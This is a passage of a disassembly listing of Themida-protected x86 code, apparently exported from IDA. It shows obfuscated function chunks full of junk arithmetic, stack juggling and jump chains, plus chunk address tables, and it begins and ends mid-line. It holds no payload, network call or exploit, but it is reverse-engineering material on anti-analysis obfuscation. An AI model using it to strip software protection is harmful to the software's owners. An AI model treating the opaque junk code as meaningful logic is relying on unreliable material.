[esp+0Eh+var_E], ecx sub esp, 4 mov [esp+12h+var_12], eax jmp loc_58ED1E ; --------------------------------------------------------------------------- loc_58FD7A: ; CODE XREF: sub_5916C4+E4Aj add esp, 4 shr ecx, 6 push 416Ch mov [esp+12h+var_12], ebx push [esp+12h+var_12] jmp loc_5943CC ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_58FD90: ; CODE XREF: sub_595E21-435Dj jmp loc_58C605 ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59338C loc_58FD95: ; CODE XREF: sub_59338C-78FDj xchg ecx, [esp+8+var_8] pop esp add esp, 4 jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_59338C ; --------------------------------------------------------------------------- loc_58FDA1: ; CODE XREF: Themida_:loc_591EBFj or ebx, 3D764727h jp loc_58DCD5 sub ebx, 0CF1CFB3Ah jmp loc_58B983 ; --------------------------------------------------------------------------- push esi pop eax loc_58FDBA: ; CODE XREF: Themida_:0058BB1Ej add ebx, 4F21282Ch sub ebx, eax sub ebx, 4F21282Ch jmp loc_593998 ; --------------------------------------------------------------------------- loc_58FDCD: ; CODE XREF: Themida_:0058EF02j sub ebx, 32521842h add edx, ebx jmp loc_58E0EB ; --------------------------------------------------------------------------- loc_58FDDA: ; CODE XREF: Themida_:00590444j mov [esp], edx push 65D23382h pop edx add eax, edx jmp loc_590B27 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F836 loc_58FDEA: ; CODE XREF: sub_58F836+48B8j neg ebp push edx mov edx, 51DF2AFEh jmp loc_5949BA ; END OF FUNCTION CHUNK FOR sub_58F836 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58FDF7: ; CODE XREF: sub_58F5B5-2EA3j pop edi xchg esi, [esp-8+arg_4] pop esp jmp loc_58FFBA ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_58FE01: ; CODE XREF: Themida_:00593DF3j add esp, 4 push ebp push esp jmp loc_58EAEC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58FE0E: ; CODE XREF: sub_590467+3C24j push edi jmp loc_58B128 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_58FE14: ; CODE XREF: sub_59762D+217j xchg ecx, [esp+0] mov esp, [esp+0] imul cx push ebx mov ebx, esp add ebx, 4 push ebp jmp loc_58BA33 ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- loc_58FE2C: ; CODE XREF: Themida_:0059076Fj pop ax add al, 60h add al, bh sub al, 60h jmp loc_5910B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58FE39: ; CODE XREF: sub_58F5B5:loc_58B3F5j shl esi, 2 jnp loc_597961 sub esi, 32A79037h mov eax, esi jmp loc_5904D1 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_58FE4F: ; CODE XREF: Themida_:00592D03j push ebx jmp loc_593B5B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_58FE55: ; CODE XREF: sub_59762D:loc_58F6B1j ; Themida_:0058F84Ej sub ebx, 296387ABh jmp loc_594476 ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592D25 loc_58FE60: ; CODE XREF: sub_592D25-451Aj ; Themida_:0058EE29j jle loc_58E6B9 push ebp mov ebp, 148664h jmp loc_58DB4D ; END OF FUNCTION CHUNK FOR sub_592D25 ; --------------------------------------------------------------------------- loc_58FE71: ; CODE XREF: Themida_:00593FE5j add edx, 4 xchg edx, [esp] pop esp add esp, 4 push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp sub esp, 4 mov [esp], edx mov edx, 1F372BAEh add dword ptr [esp+4], 2C9B1375h sub dword ptr [esp+4], 5E365C5Ah add [esp+4], edx push ecx push ebp mov ebp, 2D3B679Bh jmp loc_58D2F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58FEB6: ; CODE XREF: sub_58C17E+4831j pop esp push esi push 33CD15BDh pop esi add ecx, 0A575744h jmp loc_58A42B ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_58FEC9: ; CODE XREF: sub_5938B9:loc_5933C2j sub ecx, 0FFE6DEC0h add ecx, edx sub esp, 4 jmp loc_596F09 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- loc_58FED9: ; CODE XREF: Themida_:00594A5Cj jp loc_58E993 jmp loc_58B185 ; --------------------------------------------------------------------------- sub edx, 0BF8793Eh pop esp loc_58FEEB: ; CODE XREF: Themida_:00590F67j sub ch, 2Ch sub al, ch jmp loc_593DC3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595258 loc_58FEF5: ; CODE XREF: sub_595258-AE48j shr eax, 0Eh xor eax, ecx push 10BFh mov [esp+4+var_4], eax xchg ebp, [esp+4+var_4] not ebp xchg ebp, [esp+4+var_4] push [esp+4+var_4] mov eax, [esp+8+var_8] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+0Ch+var_C] pop esp push ebx mov ebx, esp add ebx, 4 push edi mov edi, 2A8F504Dh inc edi sub edi, 8407E49h or edi, 78F95CF5h not edi not edi push eax mov eax, 7AFFDEF1h xor edi, eax jmp loc_58CCEF ; END OF FUNCTION CHUNK FOR sub_595258 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58FF50: ; CODE XREF: sub_58C17E+BCEAj add esp, 4 or eax, eax jz sub_590010 push dword ptr [edi+1Ch] sub esp, 4 mov [esp+0], ebp push 1E0E78C8h mov ebp, [esp+2+var_4+2] add esp, 4 xor [esp-2+arg_0+2], ebp mov ebp, [esp+0] push ecx mov ecx, esp add ecx, 4 jmp loc_592091 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58FF8A: ; CODE XREF: sub_58F5B5+70ADj pop dword ptr [esp+0] pop esp push 1D0Fh mov [esp-4+arg_0], esp add [esp-4+arg_0], 4 jmp loc_590A34 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58FFA2: ; CODE XREF: sub_5EC2E8-5C79Bj pop [esp+28h+var_28] add [esp+24h+var_24], 4 push [esp+24h+var_24] pop eax add esp, 4 push edx push ebp jmp loc_591339 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58FFBA: ; CODE XREF: sub_58F5B5+847j pop ecx push ebx push 550D2F7Bh pop ebx jmp loc_58ED09 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_58FFC7: ; CODE XREF: Themida_:0058D44Dj movzx cx, al push cx pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_58FFD3: ; CODE XREF: sub_5916CB-4817j push dword ptr [esp+0] jmp loc_595F7D ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_58FFDB: ; CODE XREF: sub_595E21+10j xchg edx, ecx shl ecx, 8 shr ecx, 1 push eax mov eax, 5A692F87h xor eax, 61398934h jmp loc_592E94 ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- loc_58FFF2: ; CODE XREF: Themida_:0058B755j xor [esp], eax xor eax, [esp] mov esp, [esp] mov [esp], edx push eax pushf jmp loc_58F7E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5919E2 loc_590005: ; CODE XREF: sub_5919E2+4316j add ebx, eax jmp loc_58EF1B ; END OF FUNCTION CHUNK FOR sub_5919E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E0C4 loc_59000C: ; CODE XREF: sub_58E0C4+9205j xchg ebx, [esp+8+var_8] pop esp ; END OF FUNCTION CHUNK FOR sub_58E0C4 ; =============== S U B R O U T I N E ======================================= sub_590010 proc near ; CODE XREF: sub_58C17E+3DD7j var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_14 = dword ptr 18h ; FUNCTION CHUNK AT 0058A59B SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0058A73F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058A7A8 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0058ACB6 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0058B426 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0058B51F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058B77F SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0058C13B SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058C28C SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0058C2D1 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058C387 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0058C51B SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0058C5DA SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058C60A SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058C8DB SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0058C945 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058CADA SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0058CBED SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058CC74 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0058D1A1 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0058D2ED SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058D3B5 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058D484 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0058D4ED SIZE 00000039 BYTES ; FUNCTION CHUNK AT 0058DC29 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058DD16 SIZE 00000030 BYTES ; FUNCTION CHUNK AT 0058DD99 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058DDD5 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0058E57F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058E6D6 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0058E728 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058EAE5 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058ED5C SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0058EE00 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0058F0E7 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0058F12A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0058F1D3 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058F2B6 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0058F52E SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058F784 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058F7FE SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0058FC82 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005904E6 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 00590545 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00590BA5 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00590CB7 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00590CD9 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00590D93 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005910BF SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005911E9 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059124E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00591389 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0059165A SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005916A2 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059172D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005919BD SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00591B1E SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005922B2 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0059240C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00592661 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005927B1 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00592C35 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00592E9B SIZE 0000002A BYTES ; FUNCTION CHUNK AT 00592F04 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00593273 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0059380A SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00593EAE SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005943F3 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0059446D SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005944E5 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00594806 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00594B8D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00594CDA SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0059576A SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00595ACF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00595BE8 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00595FE7 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005964F6 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00596ADA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00597BF9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00597E7F SIZE 00000039 BYTES ; FUNCTION CHUNK AT 00597EC1 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00597F6B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0059805F SIZE 00000006 BYTES push ebx sub esp, 4 mov [esp+8+var_8], esi push edi mov edi, 7D233EFAh mov esi, 320F38B9h xor esi, edi pop edi push esi mov esi, 227839F0h sub [esp+0Ch+var_4], esi pop esi add [esp+8+var_4], 6EEF6293h sub [esp+8+var_4], esi sub [esp+8+var_4], 6EEF6293h add [esp+8+var_4], 227839F0h pop esi push [esp+4+var_4] jmp loc_58DD16 sub_590010 endp ; sp-analysis failed ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_59005F: ; CODE XREF: Themida_:0059331Bj push esi mov esi, 475BDE3Eh sub eax, esi jmp loc_58AF30 ; --------------------------------------------------------------------------- loc_59006C: ; CODE XREF: Themida_:0058C0F4j pop esp jmp loc_58E787 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_590072: ; CODE XREF: sub_5EC2E8-5525Cj mov [esp+28h+var_28], esi mov esi, 4 mov edx, esi pop esi add ebp, edx jmp loc_58F534 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_590084: ; CODE XREF: Themida_:0058C225j sub ebx, 5FBB4C82h jmp loc_58F0CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_59008F: ; CODE XREF: sub_58F5B5-8A2j push 67D8h mov [esp+0], edx jmp loc_5916AF ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_59009C: ; CODE XREF: Themida_:00596381j mov ebp, esp push 686h mov [esp], eax mov eax, 62141B4Fh sub eax, 73AF0838h push ebx mov ebx, 119AECEDh add eax, ebx mov ebx, [esp] add esp, 4 add ebp, eax mov eax, [esp] add esp, 4 push edi push esi push ebp mov ebp, 2BBB7847h jmp loc_58C7D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_5900D6: ; CODE XREF: sub_5916C4-4FAj push 1ABF2115h mov ecx, [esp+1Ah+var_1A] jmp loc_59388D ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_5900E3: ; CODE XREF: Themida_:00590D26j mov esi, 37FC484Ch sub eax, 7B464125h add eax, esi jmp loc_590A9C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_5900F4: ; CODE XREF: sub_5916CB-2149j jmp loc_59674C ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- loc_5900F9: ; CODE XREF: Themida_:0058A971j not ebp dec ebp shl ebp, 4 dec ebp sub ebp, 4DB494CFh add eax, 55E6D72h add eax, ebp push edi mov edi, 7D061BACh jmp loc_595C71 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_590118: ; CODE XREF: sub_5916C4+3012j ; Themida_:00595C83j neg edi shr edi, 1 add edi, 9F123D6Fh sub eax, edi pop edi pop ebp mov esi, [esp+12h+var_12] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+16h+var_16] pop esp push 2326h mov [esp+16h+var_16], ecx sub esp, 4 mov [esp+1Ah+var_1A], ebp mov ebp, 570214FDh push ebp pop ecx pop ebp shr ecx, 2 push eax mov eax, 4F821D40h jmp loc_596FF5 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_590163: ; CODE XREF: sub_590467+586Fj jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_590168: ; CODE XREF: Themida_:005975BFj dec ebp and ebp, 0A781946h dec ebp xor ebp, 84D79D1h add eax, ebp pop ebp mov edx, [esp] add esp, 4 push 5C1Dh mov [esp], ebx jmp loc_58EAA4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_59018F: ; CODE XREF: sub_58C17E+43DDj add cl, 35h sub dl, cl pop ecx mov eax, [esp+0] add esp, 4 add bl, 0A7h sub bl, 8Dh sub bl, dl add bl, 8Dh sub bl, 0A7h pop edx movzx eax, al pop dword ptr [edi+eax*4] jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_5901B5: ; CODE XREF: Themida_:005932AFj add eax, 4 add eax, 4 xchg eax, [esp] pop esp push ecx push 2 mov ecx, [esp] add esp, 4 add edx, ecx pop ecx xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] add [esp], al pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb [esp], ax pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_5901F7: ; CODE XREF: sub_5916C4-6EB8j pop edx add ebp, 6BD47F93h jo loc_592503 xor ebp, 81576044h and ecx, ebp mov ebp, [esp-4+arg_0] mov bl, cl mov ecx, edx loc_590213: ; CODE XREF: Themida_:005916F8j mov eax, 24AD0CC5h jmp loc_58FCC1 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_59021D: ; CODE XREF: Themida_:00593833j pop ebx jmp loc_592E86 ; --------------------------------------------------------------------------- loc_590223: ; CODE XREF: Themida_:005945F3j pop ebp xor ebp, 6D9E42FEh xor ebp, 0EF9624EFh add edi, ebp pop ebp add eax, 7A0D0A50h sub eax, 22082222h sub eax, edi push ebx mov ebx, 53B32E5Dh push edi mov edi, 7074533Dh or edi, 158415FAh inc edi add edi, 0FE3E2599h sub ebx, edi pop edi shl ebx, 5 sub ebx, 0CE0DF65Eh add eax, ebx pop ebx sub eax, 7A0D0A50h pop edi push edi push eax push 76925241h pop eax xor eax, 5DB93723h mov edi, eax pop eax xchg edx, edi dec edx jmp loc_5918B1 ; --------------------------------------------------------------------------- loc_590285: ; CODE XREF: Themida_:00591AF2j not edi sub edi, 0E58CF291h add ebp, edi pop edi push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], esi mov esi, 2 add ebp, esi jmp loc_58BCFF ; --------------------------------------------------------------------------- loc_5902B2: ; CODE XREF: Themida_:00597AC9j add eax, edx push ebp mov ebp, 47F83C3Ah jmp loc_5975B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5919E2 loc_5902BF: ; CODE XREF: sub_5919E2+3B8Bj sub esi, edx pop edx jmp loc_58B4FB ; END OF FUNCTION CHUNK FOR sub_5919E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F091 loc_5902C7: ; CODE XREF: sub_58F091-3C04j xor edi, ebp jmp loc_58CC69 ; END OF FUNCTION CHUNK FOR sub_58F091 ; --------------------------------------------------------------------------- loc_5902CE: ; CODE XREF: Themida_:005935CDj jno loc_591323 dec cl jns loc_58EBB5 sub cl, 31h mov ah, cl pop ecx push ecx loc_5902E3: ; CODE XREF: Themida_:005918F9j push dword ptr [esp] pop eax push esi mov esi, esp push edx mov edx, 351F6D44h push edi mov edi, 4AD30D6Ah add edx, edi pop edi jmp loc_59177A ; --------------------------------------------------------------------------- loc_5902FE: ; CODE XREF: Themida_:00595D9Dj neg eax jmp loc_592FD6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5948B7 loc_590305: ; CODE XREF: sub_5948B7-8A49j mov ecx, [esp+4+var_4] add esp, 4 sub ecx, 32441BE5h not ecx push ebx mov ebx, 4510A3Fh and ebx, 42D36925h jmp loc_58CBB7 ; END OF FUNCTION CHUNK FOR sub_5948B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_590327: ; CODE XREF: sub_590467-4AAAj jnp loc_58C80B sub ebp, 7E96BDFBh mov edx, ebp mov ebp, [esp-4+arg_0] mov ebp, edi mov ebx, edi ; END OF FUNCTION CHUNK FOR sub_590467 ; START OF FUNCTION CHUNK FOR sub_5942E3 loc_59033C: ; CODE XREF: sub_5942E3-92C4j mov esi, esp add esi, 4 sub esi, 4 xor esi, [esp+0] xor [esp+0], esi xor esi, [esp+0] pop esp mov [esp+0], edi mov edi, 4 add eax, edi jmp loc_595F54 ; END OF FUNCTION CHUNK FOR sub_5942E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_590363: ; CODE XREF: sub_5916C4:loc_58B3F0j or edx, 0E147ADBh jmp loc_58FC93 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_59036E: ; CODE XREF: Themida_:0058ECB1j jmp loc_58A6B4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5919E2 loc_590373: ; CODE XREF: sub_58B4D6+1DFFj ; sub_5919E2-3246j add ebx, 1F325105h mov edx, [esp+10h+var_10] add esp, 4 sub esp, 4 mov [esp+10h+var_10], eax mov eax, 4A6360B6h sub eax, 93A2BD3h push ebx mov ebx, 6B0B1B08h or eax, ebx pop ebx jmp loc_595CF3 ; END OF FUNCTION CHUNK FOR sub_5919E2 ; --------------------------------------------------------------------------- loc_5903A0: ; CODE XREF: Themida_:loc_58DF01j sub ebp, 986AA3FFh jmp loc_58F10B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_5903AB: ; CODE XREF: sub_59762D:loc_5923D6j shr ebp, 4 jmp loc_58C654 ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_5903B3: ; CODE XREF: sub_58C17E+BCC2j push eax push esi jmp loc_58D686 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_5903BA: ; CODE XREF: sub_5938B9-45DFj pop esi sub ebp, ecx pop ecx or edx, ebp pop ebp push ebx jmp loc_58D894 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_596EB8 loc_5903C7: ; CODE XREF: sub_596EB8+6j add [esp+4], ebx pop ebx mov edi, [esp+0] add esp, 4 push 0DD4h mov [esp+0], eax mov eax, 4 sub edi, 6943295Ah sub edi, 56532E03h add edi, eax add edi, 56532E03h push esi mov esi, 523041A0h add esi, 751C0DAEh sub esi, 4EB46A4h xor esi, 0AB2221F0h add edi, esi pop esi mov eax, [esp+0] add esp, 4 sub edi, 4 xchg edi, [esp-4+arg_0] pop esp mov [esp-8+arg_4], edx push eax pushf jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_596EB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592D25 loc_59042B: ; CODE XREF: sub_592D25-7B8j sub ebp, 0F8F058Eh jmp loc_590C5E ; END OF FUNCTION CHUNK FOR sub_592D25 ; --------------------------------------------------------------------------- loc_590436: ; CODE XREF: Themida_:0058E6A4j mov [esp], edi mov edi, 5BCE9F7Bh sub esp, 4 jmp loc_58FDDA ; --------------------------------------------------------------------------- loc_590449: ; CODE XREF: Themida_:005926CDj movzx eax, al push dword ptr [edi+eax*4] push edi mov edi, esp push 0AA8h mov [esp], ebx jmp loc_59185B ; --------------------------------------------------------------------------- loc_59045F: ; CODE XREF: Themida_:0058F493j mov esi, esp push edx jmp loc_58D5BE ; =============== S U B R O U T I N E ======================================= sub_590467 proc near ; CODE XREF: sub_58F5B5-1A5Cj var_A = dword ptr -0Ah var_6 = dword ptr -6 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_E = dword ptr 12h arg_12 = dword ptr 16h ; FUNCTION CHUNK AT 0058A3E0 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0058A70D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058A723 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0058A76D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058A8E2 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0058AE9C SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0058B0AA SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058B128 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0058B365 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0058B3FA SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0058B4CE SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058B75A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058B9BA SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058BB9C SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0058BCA5 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058C03A SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0058C233 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0058C397 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058C413 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058C80B SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0058C950 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0058CDB3 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 0058D164 SIZE 00000031 BYTES ; FUNCTION CHUNK AT 0058D24D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058D314 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058D5EE SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058D7EF SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0058D852 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058D883 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058DA3B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058DDCC SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058DE71 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0058E06E SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058E20E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058E47C SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0058E77B SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058EB56 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058EBAB SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058EDDF SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058F0C2 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058F219 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058F2A6 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058F500 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058F5D3 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058F9E1 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0058FB59 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058FCB2 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0058FE0E SIZE 00000006 BYTES ; FUNCTION 